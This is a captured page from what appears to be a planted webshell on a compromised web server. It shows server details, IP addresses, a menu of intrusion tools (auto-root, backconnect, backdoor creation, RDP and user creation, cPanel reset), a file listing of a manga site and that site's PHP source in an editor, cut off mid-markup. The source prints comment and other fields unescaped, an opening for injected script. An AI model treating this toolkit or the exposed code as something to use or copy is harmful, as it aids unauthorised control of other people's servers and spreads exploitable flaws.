Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
jjk /
[ HOME SHELL ]
Name
Size
Permission
Action
BingSiteAuth.xml
85
B
-rw-rw-r--
Modulobg.webp
85.94
KB
-rw-rw-r--
ads.txt
58
B
-rw-rw-r--
animemerch8.php
68.74
KB
-rw-rw-r--
datasource.php
3.09
KB
-rwxrwxrwx
dbhelper.php
29.57
KB
-rwxrwxrwx
dl_ads.php
125
B
-rw-rw-r--
favicon.ico
67.58
KB
-rw-rw-r--
footer.php
6.74
KB
-rw-rw-r--
head.php
434
B
-rw-rw-r--
header.php
9.43
KB
-rw-rw-r--
index.php
24.15
KB
-rwxrwxrwx
log.txt
790
B
-rwxrwxrwx
manga_og.jpg
218.56
KB
-rw-rw-r--
ml_rekomen.jpg
172
KB
-rw-rw-r--
moduloheader.jpg
153.82
KB
-rw-rw-r--
privacy-policy.php
16.26
KB
-rw-rw-r--
read-manga.php
44.41
KB
-rw-rw-r--
reading_1.php
22.97
KB
-rwxrwxrwx
robots.txt
71
B
-rw-rw-r--
script.php
1.42
KB
-rw-rw-r--
sitemap.xml
7.73
KB
-rw-rw-r--
style_css.php
97.62
KB
-rw-rw-r--
terms-of-service.php
12.37
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : read-manga.php
<!DOCTYPE html> <html lang="en" data-fp="5h93d476r16"> <?php require_once(__DIR__ . "/dbhelper.php"); $dbhelper = new DBHelper(); $manga = $dbhelper->getManga(22)[0]; //$manga = $dbhelper->getMangaByTitle($_GET['title'])[0]; $chapters = $dbhelper->getMangaChapters($manga['id']); echo json_encode($manga); ?> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Read <?= $manga['title'] ?> by <?= $manga['author'] ?> Free On Manga Piece</title> <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1"> <meta data-n-head="ssr" name="format-detection" content="telephone=no"> <meta data-n-head="ssr" name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta data-n-head="ssr" data-hid="robots" name="robots" content="index, follow, all"> <meta data-n-head="ssr" data-hid="googlebot" name="googlebot" content="index, follow, all"> <link data-n-head="ssr" rel="icon" variant="image/x-icon" href="favicon.ico"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.carousel.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.theme.default.min.css"> <link data-n-head="ssr" rel="canonical" href="https://mangapiece.com/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) ?>"> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <meta data-n-head="ssr" data-hid="title" name="title" content="Read <?= $manga['title'] ?> by <?= $manga['author'] ?> Free On Manga Piece"> <meta data-n-head="ssr" data-hid="og:title" property="og:title" name="og:title" content="Read <?= $manga['title'] ?> by <?= $manga['author'] ?> Free On Manga Piece"> <meta data-n-head="ssr" data-hid="description" name="description" content="Read <?= $manga['title'] ?> by <?= $manga['author'] ?> Free On Manga Piece, Update the latest manga chapter with high-quality images. Read NOW!"> <meta data-n-head="ssr" data-hid="og:description" property="og:description" name="og:description" content="Read <?= $manga['title'] ?> by <?= $manga['author'] ?> Free On Manga Piece, Update the latest manga chapter with high-quality images. Read NOW!"> <meta data-n-head="ssr" data-hid="og:site_name" property="og:site_name" content="Mangapiece.com"> <meta data-n-head="ssr" data-hid="og:url" name="og:url" content="https://mangapiece.com/"> <meta data-n-head="ssr" data-hid="i18n-og" property="og:locale" content="en"> <meta data-n-head="ssr" data-hid="og:image" property="og:image" content="https://mangapiece.com/manga_og.jpg" /> <?php include('head.php'); ?> </head> <?php include('style_css.php'); ?> <body class="light-mode"> <style> .owl-theme img { width: 100%; min-height: 200px; } .owl-carousel .owl-prev, .owl-carousel .owl-next { position: absolute; top: 40%; transform: translateY(-50%); background-color: rgb(212, 212, 212) !important; color: #000 !important; font-size: 1.5em !important; width: 40px; height: 40px; border-radius: 100% !important; font-weight: bold; padding: 15px !important; text-align: center; } .owl-carousel .owl-prev:hover, .owl-carousel .owl-next:hover { background-color: #ffb000 !important; color: #000 !important; } .owl-carousel .owl-prev { left: -30px; } .owl-carousel .owl-next { right: -30px; } .owl-theme .owl-dots .owl-dot.active span { background: red !important; width: 25px; transition: 0.2s ease-in-out; } .owl-theme .owl-dots .owl-dot:hover span { background: red !important; transition: 0.2s ease-in-out; } /* Responsive design custom css */ @media only screen and (max-width:480px) { .owl-theme .owl-dots .owl-dot { display: none; } .owl-carousel .owl-prev, .owl-carousel .owl-next { width: 30px; height: 30px; font-size: 14px !important; top: 45%; box-shadow: 0px 0px 0px 0px #000; } .owl-carousel .owl-prev { left: 0px; } .owl-carousel .owl-next { right: 0px; } } .chapters-container[data-v-941321ba] { max-height: 400px; overflow-y: scroll; width: 100%; } .link[data-v-74ec4422] { display: inline-flex; } @media screen and (max-width: 576px) { .manga-comment-container[data-v-0be751c6] { padding: 1rem !important; margin: 1rem 1rem 0 !important; } } .readmore { position: relative; max-height: 192px; overflow: hidden; padding: 10px 0; transition: max-height 0.15s ease-out; } .readmore.expand { max-height: 5000px !important; transition: max-height 0.35s ease-in-out; } .readmore-link { position: absolute; bottom: 0px; right: 0; display: block; width: 100%; height: 60px; line-height: 105px; text-align: center; color: #000; font-weight: bold; font-size: 16px; padding-top: 150px; background-image: linear-gradient(to bottom, transparent, white); cursor: pointer; } .readmore-link.expand { position: relative; background-image: none; padding-top: 10px; } .readmore-link:after { content: "Read more"; } .readmore-link.expand:after { content: "Read less"; } @media screen and (min-width:768px) { .readmore { overflow: unset; max-height: unset; } .readmore-link { display: none; } } </style> <div id="__nuxt"> <!----> <div id="__layout"> <div class="default-container" data-v-5fa6951a=""> <?php include('header.php'); ?> <div id="main-container" class="content-container" data-v-5fa6951a=""> <div data-v-394b8d08="" data-v-5fa6951a=""> <div data-v-394b8d08="" id="fb-root"></div> <div data-v-ca6cf050="" data-v-394b8d08="" class="container py-3"> <div data-v-394b8d08="" data-v-ca6cf050="" class="flex-fill row-responsive"> <div data-v-394b8d08="" data-v-ca6cf050="" class="column"> <div data-v-6be35aa8="" data-v-394b8d08="" class="row breadcrumb-container mb-3" data-v-ca6cf050=""> <a data-v-74ec4422="" data-v-6be35aa8="" href="/" class="link no-decoration row align-center mr-2" title="Manga Piece"> <span data-v-70d8a0c4="" data-v-6be35aa8="" class="one-line text grey small">Manga Piece</span> <svg data-v-6be35aa8="" xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="text-light feather feather-chevron-right"> <polyline data-v-6be35aa8="" points="9 18 15 12 9 6"></polyline> </svg> </a> <a data-v-74ec4422="" data-v-6be35aa8="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) ?>" class="link no-decoration row align-center mr-2" title="<?= $manga['title'] ?>"> <span data-v-70d8a0c4="" data-v-6be35aa8="" class="one-line text grey small"><?= $manga['title'] ?></span> <!----> </a> </div> <div data-v-189babae="" data-v-394b8d08="" class="section-container p-3 column" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 data-v-189babae="" class="section-title"> Comic Details </h2> <div data-v-189babae="" class="divider mb-2"></div> </div> <div data-v-33875cb2="" data-v-394b8d08="" class="row-responsive py-2" data-v-189babae=""> <div data-v-33875cb2="" class="column"> <img data-v-a1ebd7c8="" data-v-33875cb2="" src="<?= $manga['display_image'] ?>" alt="<?= $manga['title'] ?>" title="<?= $manga['title'] ?>" loading="lazy" class="comic-img mb-3"> <?php $showreadnow = 0; if ($showreadnow > 0) { ?> <button data-v-70910ec7="" data-v-33875cb2="" class="mb-2 row justify-center btn-default btn-primary " style="background-color: #f15225;"> READ NOW </button> <?php } ?> <?php $showbookmark = 0; if ($showbookmark > 0) { ?> <button data-v-70910ec7="" data-v-33875cb2="" class="mb-2 row justify-center btn-default btn-primary "> <svg data-v-33875cb2="" data-v-70910ec7="" xmlns="http://www.w3.org/2000/svg" width="20px" height="20px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="mr-2 feather feather-heart"> <path data-v-33875cb2="" data-v-70910ec7="" d="M20.84 4.61a5.5 5.5 0 0 0-7.78 0L12 5.67l-1.06-1.06a5.5 5.5 0 0 0-7.78 7.78l1.06 1.06L12 21.23l7.78-7.78 1.06-1.06a5.5 5.5 0 0 0 0-7.78z"></path> </svg> Bookmark </button> <?php } ?> <div data-v-33875cb2="" data-v-d7ca812e="" class="section-status"> <?php $m_ratings = $dbhelper->getMangaRatings($manga['id'])[0]; ?> <div data-v-56107fc8="" data-v-33875cb2="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"><?= number_format( $m_ratings['average_rating'], 2) ?> <?php if($m_ratings['total_rating'] > 0) { echo ' / ' . $m_ratings['total_rating'] . ' rating'; } ?></span> </div> </div> <div data-v-33875cb2="" data-v-d7ca812e="" class="section-status row"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text grey small">Status</span> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text default small"><?= $manga['status'] ?></span> </div> <div data-v-33875cb2="" data-v-d7ca812e="" class="section-status row"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text grey small">Views</span> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text default small"><?= $manga['chapter_view'] ?> </span> </div> </div> <div data-v-33875cb2="" class="flex-fill column comic-info-container"> <h1 data-v-33875cb2="" class="bold story-name" style="font-size: 1.5em"><?= $manga['title'] ?></h1> <div data-v-25b99098="" data-v-33875cb2="" class="social-container mt-2 justify-start" style="padding: 0 0.5rem;"> <button data-v-70910ec7="" data-v-25b99098="" class="mr-2 social-btn row align-center btn-default btn-default " style="background-color: rgb(58, 102, 197);padding: 4px 10px;" onclick="window.open('https:\/\/www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fmangapiece.com/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) ?>', '_system', 'location=yes');"> <svg data-v-25b99098="" data-v-70910ec7="" xmlns="http://www.w3.org/2000/svg" width="15px" height="15px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-facebook"> <path data-v-25b99098="" data-v-70910ec7="" d="M18 2h-3a5 5 0 0 0-5 5v3H7v4h3v8h4v-8h3l1-4h-4V7a1 1 0 0 1 1-1h3z"></path> </svg> <span data-v-70d8a0c4="" data-v-25b99098="" class="social-name ml-1 text inverse tiny" data-v-70910ec7="">facebook </span> </button> <button data-v-70910ec7="" data-v-25b99098="" class="mr-2 social-btn row align-center btn-default btn-default " style="background-color: rgb(21, 155, 239);padding: 4px 10px;" onclick="window.open('https:\/\/twitter.com/intent/tweet?url=mangapiece.com/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) ?>');"> <svg data-v-25b99098="" data-v-70910ec7="" xmlns="http://www.w3.org/2000/svg" width="15px" height="15px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-twitter"> <path data-v-25b99098="" data-v-70910ec7="" d="M23 3a10.9 10.9 0 0 1-3.14 1.53 4.48 4.48 0 0 0-7.86 3v1A10.66 10.66 0 0 1 3 4s-4 9 5 13a11.64 11.64 0 0 1-7 2c9 5 20 0 20-11.5a4.5 4.5 0 0 0-.08-.83A7.72 7.72 0 0 0 23 3z"></path> </svg> <span data-v-70d8a0c4="" data-v-25b99098="" class="social-name ml-1 text inverse tiny" data-v-70910ec7="">twitter </span> </button> <button data-v-70910ec7="" data-v-25b99098="" class="mr-2 social-btn row align-center btn-default btn-default " style="background-color: rgb(6, 197, 118);padding: 4px 10px;" onclick="window.open('https:\/\/wa.me/?text=https:\/\/mangapiece.com/<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) ?>');"> <span data-v-25b99098="" data-v-6a8dae3e="" class="row align-center"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512" width="15px" height="15px" fill="white"> <path d="M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z"></path> </svg> </span> <span data-v-70d8a0c4="" data-v-25b99098="" class="social-name ml-1 text inverse tiny" data-v-70910ec7="">whatsapp </span> </button> <!--<button data-v-70910ec7="" data-v-25b99098="" class="mr-2 social-btn row align-center btn-default btn-default " style="background-color: rgb(222, 27, 58);padding: 4px 10px;"> <span data-v-25b99098="" data-v-6a8dae3e="" class="row align-center"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512" width="15px" height="15px" fill="white"> <path d="M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"></path> </svg> </span> <span data-v-70d8a0c4="" data-v-25b99098="" class="social-name ml-1 text inverse tiny" data-v-70910ec7="">pinterest </span> </button>--> </div> <div class="readmore"> <span data-v-33875cb2="" data-v-d7ca812e="" class="mt-3 story-desc"><?= $manga['description'] ?></span> <div class="readmore-link"></div> </div> <div data-v-33875cb2="" data-v-6a8dae3e="" class="comic-attrs mt-3"> <div data-v-33875cb2="" class="column my-2"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 bold text default small">Released </span> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text grey small"> <?= $manga['released_date'] ? $manga['released_date'] : 'Not Available' ?> </span> </div> <div data-v-33875cb2="" class="column my-2"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 bold text default small">Author </span> <div data-v-33875cb2=""> <a data-v-74ec4422="" data-v-33875cb2="" href="/author/oda-eiichiro.1332" class="link no-decoration comic-info-link" title="<?= $manga['author'] ?>"> <?= $manga['author'] ?> </a> </div> </div> <div data-v-33875cb2="" class="column my-2"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 bold text default small">Posted On </span> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text grey small"> <?php $posted_date = new DateTime($manga['created']); $now_date = new DateTime(); $diff = $posted_date->diff($now_date); ?> <?= $diff->years ? $diff->years . ' years' : '' ?> <?php if($diff->years == 0) { ?> <?= $diff->months ? $diff->months . ' months' : '' ?> <?php if($diff->months == 0) { ?> <?= $diff->days ? $diff->days . ' days' : '' ?> <?php if($diff->days == 0) { ?> <?= $diff->h ? $diff->h . ' hours ' : '' ?> <?= $diff->i ? $diff->i . ' mins ' : '' ?> <?php if($diff->i == 0) { ?> <?= $diff->s ? $diff->s . ' seconds ' : '' ?> <?php } ?> <?php } ?> <?php } ?> <?php } ?> ago </span> </div> <div data-v-33875cb2="" class="column my-2"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 bold text default small">Updated On </span> <span data-v-70d8a0c4="" data-v-33875cb2="" class="text grey small"> <?php $latest_chapter_update = $dbhelper->getLatestChapter($manga['id']); ?> <?php if(sizeof($latest_chapter_update) > 0) { ?> <?php $posted_date = new DateTime($latest_chapter_update[0]['created']); $now_date = new DateTime(); $diff = $posted_date->diff($now_date); ?> <?= $diff->years ? $diff->years . ' years' : '' ?> <?php if($diff->years == 0) { ?> <?= $diff->months ? $diff->months . ' months' : '' ?> <?php if($diff->months == 0) { ?> <?= $diff->days ? $diff->days . ' days' : '' ?> <?php if($diff->days == 0) { ?> <?= $diff->h ? $diff->h . ' hours ' : '' ?> <?= $diff->i ? $diff->i . ' mins ' : '' ?> <?php if($diff->i == 0) { ?> <?= $diff->s ? $diff->s . ' seconds ' : '' ?> <?php } ?> <?php } ?> <?php } ?> <?php } ?> ago <?php } ?> </span> </div> <div data-v-33875cb2="" class="column my-2"> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 bold text default small">Genres </span> <div data-v-33875cb2=""> <?php $genres = explode(", ", $manga['genres']); ?> <?php foreach ($genres as $g) { ?> <a data-v-74ec4422="" data-v-33875cb2="" href="/genres.php?genre=<?= $g ?>" class="link no-decoration comic-info-link" title="<?= $g ?>"> <?= $g ?> </a> <?php } ?> </div> </div> </div> <span data-v-70d8a0c4="" data-v-33875cb2="" class="mb-1 mt-3 bold text default small"> Rate this story </span> <style> label { width: 0; overflow: hidden; } /* You can style inputs directly thanks to appearance:none! */ input.stary { -webkit-appearance: none; -moz-appearance: none; appearance: none; width: 30px; height: 38px; text-align: center; cursor: pointer; padding: 0; box-shadow: none; text-shadow: none; background: none; border-radius: 0; margin: 0; } input.stary::after { content: "☆"; font-size: calc(38px * 3 / 4); line-height: 38px; color: #989898; } input.stary:is(:checked, :hover)::after, input.stary:has(~ input.stary:is(:checked, :hover))::after { content: "★"; color: #ffb000; } input.stary:hover~input.stary::after { content: "☆"; color: #989898; } </style> <div data-v-56107fc8="" data-v-33875cb2="" class="row align-center"> <input class="stary" type="radio" name="rating" id="rating-1" value="1" onclick="updateRating(1)"> <label for="rating-1">1 Star</label> <input class="stary" type="radio" name="rating" id="rating-2" value="2" onclick="updateRating(2)"> <label for="rating-2">2 Stars</label> <input class="stary" type="radio" name="rating" id="rating-3" value="3" onclick="updateRating(3)"> <label for="rating-3">3 Stars</label> <input class="stary" type="radio" name="rating" id="rating-4" value="4" onclick="updateRating(4)"> <label for="rating-4">4 Stars</label> <input class="stary" type="radio" name="rating" id="rating-5" value="5" onclick="updateRating(5)"> <label for="rating-5">5 Stars</label> <!----> </div> <!----> </div> </div> </div> <div data-v-189babae="" data-v-394b8d08="" class="section-container p-3 mt-3" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 data-v-189babae="" class="section-title"> <?= $manga['title'] ?> </h2> <div data-v-189babae="" class="divider mb-2"></div> </div> <div data-v-941321ba="" data-v-394b8d08="" data-v-189babae=""> <div data-v-941321ba="" class="row"> <div data-v-22d5330a="" data-v-941321ba="" class="mt-3 py-2 row" style="width: 26%; background: #ffb000; color: #000; justify-content: center; border-radius: 10px; font-weight: 700;" data-v-3e2b49c6=""> Chapter </div> </div> <!--<div data-v-941321ba="" class="row"> <div data-v-22d5330a="" data-v-941321ba="" class="mt-3 search-chapter row search-input-container input-dark" data-v-3e2b49c6=""> <input data-v-22d5330a="" type="search" placeholder="Search chapter. Example: 25 or 123"> <button data-v-70910ec7="" data-v-22d5330a="" class="search-btn btn-default btn-primary "> <svg data-v-22d5330a="" data-v-70910ec7="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-search"> <circle data-v-22d5330a="" data-v-70910ec7="" cx="11" cy="11" r="8"></circle> <line data-v-22d5330a="" data-v-70910ec7="" x1="21" y1="21" x2="16.65" y2="16.65"></line> </svg> </button> </div> </div>--> <div data-v-941321ba="" class="chapters-container mt-3"> <?php foreach ($chapters as $c) { ?> <a data-v-74ec4422="" data-v-941321ba="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($manga['title']))) .'/'. $c['id'] ?>" class="link no-decoration" title="974" data-v-3e2b49c6=""> <div data-v-941321ba="" class="chapter-container column my-2"> <span data-v-70d8a0c4="" data-v-941321ba="" class="text default normal"><?= $c['name'] ?> </span> </div> </a> <?php } ?> </div> </div> </div> <div data-v-189babae="" data-v-0be751c6="" data-v-394b8d08="" class="section-container p-3 mt-3 manga-comment-container" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 data-v-189babae="" class="section-title"> Comment </h2> <div data-v-189babae="" class="divider mb-2"></div> <?php foreach ($comments as $c) { ?> <div style="padding: 10px 0;"><?= $c['comment'] ?><br> <span style=" font-size: 12px; color: #9f9f9f; "><?= $c['created'] ?></span></div> <hr style=" background: #d5d5d5; height: 1px; border: 0; "> <?php } ?> </div> <div data-v-0be751c6="" data-v-189babae="" class="total-comment"> <?= sizeof($comments) ?> Comments </div> <form id="commentForm"> <input type="hidden" id="action" name="action" value="submit_comment"> <input type="hidden" id="manga_id" name="manga_id" value="<?= $manga['id'] ?>"> <div data-v-0be751c6="" data-v-189babae="" class="input-comment"> <img data-v-0be751c6="" data-v-189babae="" src="uknown_user.e5ec11a.png"> <textarea name="comment" data-v-0be751c6="" data-v-189babae="" id="textArea" rows="2" type="text" placeholder="Add a comment"></textarea> </div> <div data-v-0be751c6="" data-v-189babae="" class="input-comment" style="justify-content:end;"> <button type="submit">Post</button> </div> </form> <div data-v-0be751c6="" data-v-189babae="" class="comments"></div> <!----> </div> <div class="container relative section-list mt-3 related-series" data-v-ca6cf050="" data-v-e1935f7a="" data-v-a833353c=""> <div class="section-container p-3 mb-3" data-v-189babae="" data-v-e1935f7a="" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 class="section-title" data-v-189babae=""> Related Series </h2> <div class="divider mb-2" data-v-189babae=""></div> </div> <section class="wraper section-list container mt-3" data-v-ca6cf050="" data-v-e1935f7a="" data-v-a833353c=""> <div class="owl-carousel owl-theme image-slider1"> <?php foreach ($relatedMangas as $rm) { ?> <div class="item"> <div class="manga-item column" data-v-4b575bc4="" data-v-e1935f7a="" data-v-189babae=""> <a href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($rm['title']))) ?>" title="<?= $rm['title'] ?>" class="link no-decoration horizontal" data-v-74ec4422="" data-v-4b575bc4=""> <img src="<?= $rm['display_image'] ?>" alt="<?= $rm['title'] ?>" title="<?= $rm['title'] ?>" class="mb-2 horizontal" data-v-a1ebd7c8="" data-v-4b575bc4=""> </a> <a href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($rm['title']))) ?>" class="link no-decoration one-line" data-v-74ec4422="" data-v-4b575bc4=""><?= $rm['title'] ?> </a> <a href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($rm['title']))) . '/' . $rm['latest_chapter_id'] ?>" title="<?= $rm['latest_chapter'] ?>" class="link no-decoration my-1 text-light text-small one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $rm['latest_chapter'] ?> </a> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($rm['rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($rm['rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($rm['rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($rm['rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($rm['rating'] > 4) { echo 